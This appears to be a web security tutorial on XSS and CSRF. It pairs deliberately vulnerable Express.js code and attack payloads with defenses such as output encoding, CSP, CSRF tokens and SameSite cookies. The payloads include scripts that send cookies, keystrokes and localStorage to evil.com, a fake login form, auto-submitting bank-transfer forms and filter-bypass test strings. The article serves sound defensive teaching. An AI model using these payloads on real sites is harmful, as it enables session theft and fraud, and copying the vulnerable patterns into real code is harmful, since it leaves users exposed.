XSS and CSRF have been in the OWASP Top 10 for over a decade. They’re among the first vulnerabilities every web developer learns about — and among the last to be fully eliminated from production codebases.
I’ve spent years building security tooling and reviewing code for vulnerabilities. These two attack classes keep showing up because they exploit something fundamental: the trust model between browsers, servers, and users.
Let’s break them down — with real code, real attacks, and real defenses.
Part 1: Cross-Site Scripting (XSS)
XSS is conceptually simple: an attacker injects JavaScript into a web page that other users view. When the victim’s browser renders the page, it executes the attacker’s script as if it were legitimate code from the site.
The attacker’s script runs with the same privileges as the legitimate page — it can read cookies, access localStorage, make API calls, redirect the user, or modify the DOM.
Type 1: Stored XSS (Persistent)
The most dangerous form. The attacker’s payload is stored in the application’s database and served to every user who views the affected page.
The vulnerable code:
// Express.js route — VULNERABLE
app.get('/comments', async (req, res) => {
const comments = await db.query('SELECT * FROM comments ORDER BY created_at DESC');
let html = '<div class="comments">';
for (const comment of comments) {
// Directly injecting user content into HTML — VULNERABLE
html += `
<div class="comment">
<strong>${comment.author}</strong>
<p>${comment.body}</p>
</div>
`;
}
html += '</div>';
res.send(html);
});The attack:
An attacker submits this as a comment:
Great article!<script>
fetch('https://evil.com/steal?cookie=' + document.cookie);
</script>Every user who views the comments page now sends their session cookie to the attacker’s server. The attacker can use that cookie to impersonate any victim.
More sophisticated stored XSS payloads:
<!-- Keylogger — captures everything the user types -->
<script>
document.addEventListener('keypress', function(e) {
fetch('https://evil.com/log?key=' + e.key);
});
</script>
<!-- Session hijack with full DOM access -->
<script>
const data = {
cookies: document.cookie,
url: window.location.href,
localStorage: JSON.stringify(localStorage),
html: document.body.innerHTML.substring(0, 5000)
};
navigator.sendBeacon('https://evil.com/exfil', JSON.stringify(data));
</script>
<!-- Phishing — replaces the page with a fake login form -->
<script>
document.body.innerHTML = `
<div style="max-width:400px;margin:100px auto;font-family:sans-serif">
<h2>Session expired. Please log in again.</h2>
<form action="https://evil.com/phish" method="POST">
<input name="email" placeholder="Email" style="width:100%;padding:10px;margin:5px 0">
<input name="password" type="password" placeholder="Password" style="width:100%;padding:10px;margin:5px 0">
<button style="width:100%;padding:10px;background:#0066ff;color:white;border:none">Log In</button>
</form>
</div>`;
</script>Type 2: Reflected XSS
The payload is part of the request (usually the URL) and gets “reflected” back in the response. The attacker tricks the victim into clicking a crafted link.
The vulnerable code:
// Search endpoint — VULNERABLE
app.get('/search', (req, res) => {
const query = req.query.q;
// Reflecting user input directly into HTML
res.send(`
<h1>Search Results</h1>
<p>You searched for: ${query}</p>
<p>No results found.</p>
`);
});The attack URL:
https://example.com/search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script>The attacker sends this link to the victim via email, chat, or social media. When the victim clicks it, the search page reflects the script tag into the HTML, and the browser executes it.
URL-encoded version (how it actually looks in the wild):
https://example.com/search?q=%3Cscript%3Edocument.location%3D%27https%3A%2F%2Fevil.com%2Fsteal%3Fc%3D%27%2Bdocument.cookie%3C%2Fscript%3EType 3: DOM-Based XSS
The payload never touches the server. The vulnerability exists entirely in client-side JavaScript that reads from an untrusted source (URL, location.hash, postMessage) and writes to a dangerous sink (innerHTML, eval, document.write).
The vulnerable code:
// Client-side JavaScript — VULNERABLE
// Reads the URL hash and inserts it into the page
const userInput = window.location.hash.substring(1);
document.getElementById('welcome').innerHTML = 'Hello, ' + userInput;The attack URL:
https://example.com/dashboard#<img src=x onerror="fetch('https://evil.com/steal?c='+document.cookie)">The # fragment is never sent to the server — it’s processed entirely by the browser’s JavaScript. This makes DOM-based XSS invisible to server-side security tools like WAFs.
Common DOM XSS sources and sinks:
// DANGEROUS SOURCES (untrusted data)
window.location.hash
window.location.search
document.URL
document.referrer
window.name
postMessage data
// DANGEROUS SINKS (code execution)
element.innerHTML = ...
element.outerHTML = ...
document.write(...)
eval(...)
setTimeout(string, ...)
setInterval(string, ...)
new Function(string)
element.setAttribute('onclick', ...)Real-World XSS Examples
Samy Worm (MySpace, 2005): A stored XSS worm that added “Samy is my hero” to every profile that viewed an infected page. It spread to over 1 million users in 20 hours — the fastest-spreading virus of all time at that point.
TweetDeck XSS (2014):
A stored XSS vulnerability in TweetDeck caused a tweet containing <script> to auto-retweet itself. Over 80,000 accounts were affected before Twitter disabled TweetDeck.
British Airways (2018): Attackers injected a malicious script into the BA website that skimmed payment card details from the checkout page. 380,000 card details were stolen. BA was fined £20 million under GDPR.
Part 2: Cross-Site Request Forgery (CSRF/XSRF)
CSRF exploits a different trust relationship. While XSS exploits the user’s trust in a website, CSRF exploits the website’s trust in the user’s browser.
The core problem: browsers automatically attach cookies to every request sent to a domain, regardless of which site initiated the request.
How CSRF Works
- Victim logs into
bank.com— browser stores session cookie - Victim visits
evil.com(from a link in an email, ad, etc.) evil.comcontains a hidden form that auto-submits a POST tobank.com/transfer- Browser sends the request to
bank.comwith the victim’s cookies - Bank processes the transfer — it looks like a legitimate request
The malicious page on evil.com:
<!DOCTYPE html>
<html>
<body>
<h1>You've won a prize! 🎉</h1>
<p>Click below to claim...</p>
<!-- Hidden CSRF attack -->
<form id="csrf-form" action="https://bank.com/api/transfer" method="POST" style="display:none">
<input name="to_account" value="ATTACKER-ACCT-123" />
<input name="amount" value="10000" />
<input name="currency" value="USD" />
</form>
<script>
// Auto-submit as soon as page loads
document.getElementById('csrf-form').submit();
</script>
</body>
</html>CSRF Without Forms
CSRF doesn’t require forms. Any request that changes state is vulnerable:
GET-based CSRF (if the app uses GET for state changes):
<!-- Image tag triggers a GET request — victim's browser sends cookies -->
<img src="https://bank.com/api/transfer?to=attacker&amount=5000" style="display:none" />
<!-- Or in an email -->
<img src="https://example.com/api/delete-account" width="1" height="1" />This is why state-changing operations should never use GET requests.
CSRF via AJAX (blocked by CORS, but still relevant):
// This will fail if CORS is properly configured
// But if the server has Access-Control-Allow-Origin: * ...
fetch('https://bank.com/api/transfer', {
method: 'POST',
credentials: 'include', // sends cookies
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ to: 'attacker', amount: 10000 })
});Login CSRF — The Overlooked Variant
Most developers protect state-changing endpoints but forget the login form:
<!-- Attacker logs the victim into the ATTACKER'S account -->
<form action="https://example.com/login" method="POST" style="display:none">
<input name="email" value="[email protected]" />
<input name="password" value="attacker-password" />
</form>
<script>document.forms[0].submit();</script>Why is this dangerous? The victim thinks they’re using their own account but they’re actually logged into the attacker’s account. Any sensitive data they enter (credit cards, addresses, personal info) is now visible to the attacker.
Part 3: Defenses — Production-Grade Code
XSS Defense 1: Output Encoding (The Most Important Defense)
The golden rule: never insert untrusted data into HTML without encoding it first.
// WRONG — raw insertion
element.innerHTML = userInput;
res.send(`<p>${userInput}</p>`);
// RIGHT — encode before insertion
function escapeHtml(str) {
const map = {
'&': '&',
'<': '<',
'>': '>',
'"': '"',
"'": ''',
};
return str.replace(/[&<>"']/g, char => map[char]);
}
element.textContent = userInput; // Safe — textContent doesn't parse HTML
res.send(`<p>${escapeHtml(userInput)}</p>`);Context matters. Different contexts need different encoding:
// HTML body context
<p>${escapeHtml(userInput)}</p>
// HTML attribute context
<div data-name="${escapeHtml(userInput)}">
// JavaScript string context — use JSON.stringify
<script>
const name = ${JSON.stringify(userInput)};
</script>
// URL parameter context
<a href="/search?q=${encodeURIComponent(userInput)}">
// CSS context — avoid if possible, use allowlists
<div style="color: ${allowedColors.includes(userInput) ? userInput : 'black'}">XSS Defense 2: Content Security Policy (CSP)
CSP is a browser-enforced policy that controls which resources a page can load. It’s the strongest defense against XSS after output encoding.
// Express.js — set CSP headers
app.use((req, res, next) => {
res.setHeader('Content-Security-Policy', [
"default-src 'self'", // Only load resources from same origin
"script-src 'self'", // No inline scripts, no eval()
"style-src 'self' 'unsafe-inline'", // Allow inline styles (common need)
"img-src 'self' data: https:", // Images from self, data URIs, HTTPS
"font-src 'self'", // Fonts from self only
"connect-src 'self' https://api.example.com", // API calls
"frame-ancestors 'none'", // Prevent clickjacking
"base-uri 'self'", // Prevent base tag injection
"form-action 'self'", // Forms can only submit to self
].join('; '));
next();
});What CSP blocks:
<!-- Blocked: inline script -->
<script>alert('xss')</script>
<!-- Blocked: inline event handler -->
<img src="x" onerror="alert('xss')">
<!-- Blocked: eval() and similar -->
<script>eval('alert("xss")')</script>
<!-- Blocked: external script from untrusted origin -->
<script src="https://evil.com/steal.js"></script>If you need inline scripts (e.g., for analytics), use nonces:
const crypto = require('crypto');
app.use((req, res, next) => {
// Generate a unique nonce per request
res.locals.nonce = crypto.randomBytes(16).toString('base64');
res.setHeader('Content-Security-Policy',
`script-src 'self' 'nonce-${res.locals.nonce}'`
);
next();
});<!-- This script will execute because the nonce matches -->
<script nonce="<%= nonce %>">
// Legitimate inline script
analytics.init('key');
</script>
<!-- This injected script will be BLOCKED — wrong/no nonce -->
<script>alert('xss')</script>XSS Defense 3: Input Validation
Validate on input, encode on output. Both matter.
// Server-side validation — Express.js with express-validator
const { body, validationResult } = require('express-validator');
app.post('/comment', [
body('author')
.trim()
.isLength({ min: 1, max: 100 })
.matches(/^[a-zA-Z0-9\s\-_.]+$/), // Allowlist safe characters
body('email')
.isEmail()
.normalizeEmail(),
body('body')
.trim()
.isLength({ min: 1, max: 5000 })
.stripLow(), // Remove control characters
], (req, res) => {
const errors = validationResult(req);
if (!errors.isEmpty()) {
return res.status(400).json({ errors: errors.array() });
}
// Process the validated input...
});XSS Defense 4: Sanitize Rich Text with DOMPurify
If your application needs to accept HTML (rich text editors, markdown), use a battle-tested sanitizer:
import DOMPurify from 'dompurify';
// Sanitize HTML — removes all dangerous tags and attributes
const dirty = '<p>Hello</p><script>alert("xss")</script><img src=x onerror=alert(1)>';
const clean = DOMPurify.sanitize(dirty);
// Result: '<p>Hello</p>'
// Allow specific tags only
const clean = DOMPurify.sanitize(dirty, {
ALLOWED_TAGS: ['p', 'b', 'i', 'em', 'strong', 'a', 'ul', 'ol', 'li', 'code', 'pre'],
ALLOWED_ATTR: ['href', 'class'],
});XSS Defense 5: Framework-Level Protections
Modern frameworks auto-escape by default. Don’t bypass them.
// React — safe by default
function Comment({ body }) {
return <p>{body}</p>; // React escapes this automatically
}
// React — DANGEROUS bypass
function Comment({ body }) {
return <p dangerouslySetInnerHTML={{ __html: body }} />; // XSS if body is untrusted
}# Django — auto-escapes by default
{{ user_input }} # Safe — auto-escaped
{{ user_input | safe }} # DANGEROUS — bypass escaping
{% autoescape off %} # DANGEROUS — disables escaping// Go html/template — auto-escapes
// template: <p>{{.UserInput}}</p> — Safe
// Go text/template — does NOT escape
// template: <p>{{.UserInput}}</p> — VULNERABLECSRF Defense 1: CSRF Tokens (Synchronizer Token Pattern)
The standard defense. Generate a unique, unpredictable token per session, embed it in forms, and verify it server-side.
// Express.js with csurf middleware
const csrf = require('csurf');
const csrfProtection = csrf({ cookie: true });
// Render form with CSRF token
app.get('/transfer', csrfProtection, (req, res) => {
res.send(`
<form method="POST" action="/transfer">
<input type="hidden" name="_csrf" value="${req.csrfToken()}">
<input name="to_account" placeholder="Account">
<input name="amount" placeholder="Amount">
<button type="submit">Transfer</button>
</form>
`);
});
// Verify CSRF token on POST
app.post('/transfer', csrfProtection, (req, res) => {
// csurf automatically rejects if token is missing or invalid
processTransfer(req.body);
res.redirect('/success');
});For SPA/API applications, use a custom header approach:
// Server — set CSRF token in a cookie
app.use((req, res, next) => {
if (!req.cookies['XSRF-TOKEN']) {
const token = crypto.randomBytes(32).toString('hex');
res.cookie('XSRF-TOKEN', token, {
httpOnly: false, // JS needs to read this
secure: true,
sameSite: 'Strict',
});
}
next();
});
// Server — verify the token
app.use((req, res, next) => {
if (['POST', 'PUT', 'DELETE', 'PATCH'].includes(req.method)) {
const cookieToken = req.cookies['XSRF-TOKEN'];
const headerToken = req.headers['x-xsrf-token'];
if (!cookieToken || cookieToken !== headerToken) {
return res.status(403).json({ error: 'CSRF validation failed' });
}
}
next();
});// Client — read token from cookie and send in header
// Axios does this automatically if configured:
import axios from 'axios';
axios.defaults.xsrfCookieName = 'XSRF-TOKEN';
axios.defaults.xsrfHeaderName = 'X-XSRF-TOKEN';
// Every request now automatically includes the CSRF token
await axios.post('/api/transfer', { to: 'friend', amount: 100 });CSRF Defense 2: SameSite Cookies
The simplest and most effective modern CSRF defense. Set SameSite on all cookies:
// Express.js — set SameSite on session cookie
app.use(session({
secret: process.env.SESSION_SECRET,
cookie: {
httpOnly: true, // Prevent XSS from reading cookie
secure: true, // HTTPS only
sameSite: 'Lax', // Block cross-site POST requests
maxAge: 3600000, // 1 hour
},
}));SameSite values explained:
SameSite=Strict
Cookie is NEVER sent on cross-site requests.
Even clicking a link from email to your-site.com won't send the cookie.
Best for: Banking, admin panels, sensitive operations.
SameSite=Lax (default in modern browsers)
Cookie is sent on top-level navigations (clicking a link) but NOT on
cross-site POST, iframe, AJAX, or image requests.
Best for: Most applications. Good balance of security and usability.
SameSite=None
Cookie is always sent (old behavior). Requires Secure flag.
Only use for: Cross-site embed scenarios (OAuth, widgets).CSRF Defense 3: Verify Origin Header
// Middleware to check Origin/Referer header
function verifyCsrfOrigin(req, res, next) {
if (['GET', 'HEAD', 'OPTIONS'].includes(req.method)) {
return next(); // Safe methods don't need checking
}
const origin = req.headers['origin'] || req.headers['referer'];
if (!origin) {
return res.status(403).json({ error: 'Missing origin header' });
}
const allowed = ['https://example.com', 'https://www.example.com'];
const requestOrigin = new URL(origin).origin;
if (!allowed.includes(requestOrigin)) {
console.warn(`CSRF blocked: ${requestOrigin} not in allowed origins`);
return res.status(403).json({ error: 'Invalid origin' });
}
next();
}Part 4: Complete Security Headers Setup
Here’s the full set of security headers every web application should have:
// Express.js — production security headers
const helmet = require('helmet');
app.use(helmet());
// Or manually for full control:
app.use((req, res, next) => {
// Prevent XSS — Content Security Policy
res.setHeader('Content-Security-Policy',
"default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; frame-ancestors 'none'; base-uri 'self'; form-action 'self'"
);
// Prevent MIME sniffing
res.setHeader('X-Content-Type-Options', 'nosniff');
// Prevent clickjacking
res.setHeader('X-Frame-Options', 'DENY');
// Control referrer information
res.setHeader('Referrer-Policy', 'strict-origin-when-cross-origin');
// HTTPS enforcement
res.setHeader('Strict-Transport-Security', 'max-age=31536000; includeSubDomains');
// Prevent browser from opening downloads in site context
res.setHeader('X-Download-Options', 'noopen');
// Disable DNS prefetching
res.setHeader('X-DNS-Prefetch-Control', 'off');
// Permissions Policy — disable unnecessary browser features
res.setHeader('Permissions-Policy',
'camera=(), microphone=(), geolocation=(), payment=()'
);
next();
});Part 5: XSS vs CSRF — Side-by-Side Comparison
| XSS | CSRF | |
|---|---|---|
| Exploits | User’s trust in the website | Website’s trust in the browser |
| Mechanism | Inject malicious script | Forge authenticated request |
| Requires | Unsanitized user input in page | Victim logged into target site |
| Payload location | In the page (DOM/HTML) | In the request (form/URL) |
| Attacker can | Read data, steal cookies, modify page | Perform actions as the user |
| Attacker cannot | (with HttpOnly cookies) steal session | Read the response data |
| Server sees | Normal request from victim’s browser | Normal request from victim’s browser |
| Primary defense | Output encoding + CSP | CSRF tokens + SameSite cookies |
The critical difference: XSS can read data from the target site. CSRF can only write (perform actions) — the attacker can’t see the response.
This means XSS is strictly more powerful than CSRF. In fact, XSS can bypass CSRF protections — if an attacker can execute JavaScript on a page, they can read the CSRF token from the form and include it in their forged request.
Part 6: Testing for Vulnerabilities
Manual XSS Testing Payloads
# Basic test
<script>alert('XSS')</script>
# Attribute breakout
"><script>alert('XSS')</script>
'><script>alert('XSS')</script>
# Event handlers (bypass script tag filters)
<img src=x onerror=alert('XSS')>
<svg onload=alert('XSS')>
<body onload=alert('XSS')>
<input autofocus onfocus=alert('XSS')>
# JavaScript protocol
<a href="javascript:alert('XSS')">Click</a>
# Encoded payloads (bypass naive filters)
<script>alert(String.fromCharCode(88,83,83))</script>
<img src=x onerror="alert(1)">
# Template injection (Angular, Vue, etc.)
{{constructor.constructor('alert(1)')()}}CSRF Testing Checklist
[ ] Submit state-changing forms without CSRF token — should fail
[ ] Submit with a token from a different session — should fail
[ ] Submit via cross-origin AJAX — should be blocked by CORS
[ ] Test GET endpoints for state changes — should not exist
[ ] Verify SameSite attribute on all session cookies
[ ] Check Origin/Referer validation on all POST endpoints
[ ] Test login form for login CSRF
[ ] Verify CORS Access-Control-Allow-Origin is not wildcard (*)The Security Checklist
Every web application should implement these. No exceptions.
XSS Prevention:
- Output encode all user data based on context (HTML, attribute, JS, URL)
- Deploy Content Security Policy headers (no inline scripts)
- Use
HttpOnlyflag on all session cookies - Use framework auto-escaping — never bypass it without a documented reason
- Sanitize rich text with DOMPurify or equivalent
- Validate input on the server side (allowlists over denylists)
CSRF Prevention:
- Use CSRF tokens on all state-changing requests
- Set
SameSite=Lax(minimum) on all cookies - Verify
Originheader on all POST/PUT/DELETE requests - Never use GET for state-changing operations
- Set
Secureflag on all cookies in production - Configure CORS properly — never use wildcard origins with credentials
Both:
- Deploy all security headers (CSP, HSTS, X-Frame-Options, etc.)
- Use HTTPS everywhere — no exceptions
- Keep dependencies updated — XSS in a library is XSS in your app
- Run automated security scans in CI/CD
- Do manual penetration testing at least annually
Security isn’t a feature you ship once. It’s a practice you maintain every day, in every pull request, in every code review. The defenses in this article aren’t optional extras — they’re the bare minimum for any application that handles user data.








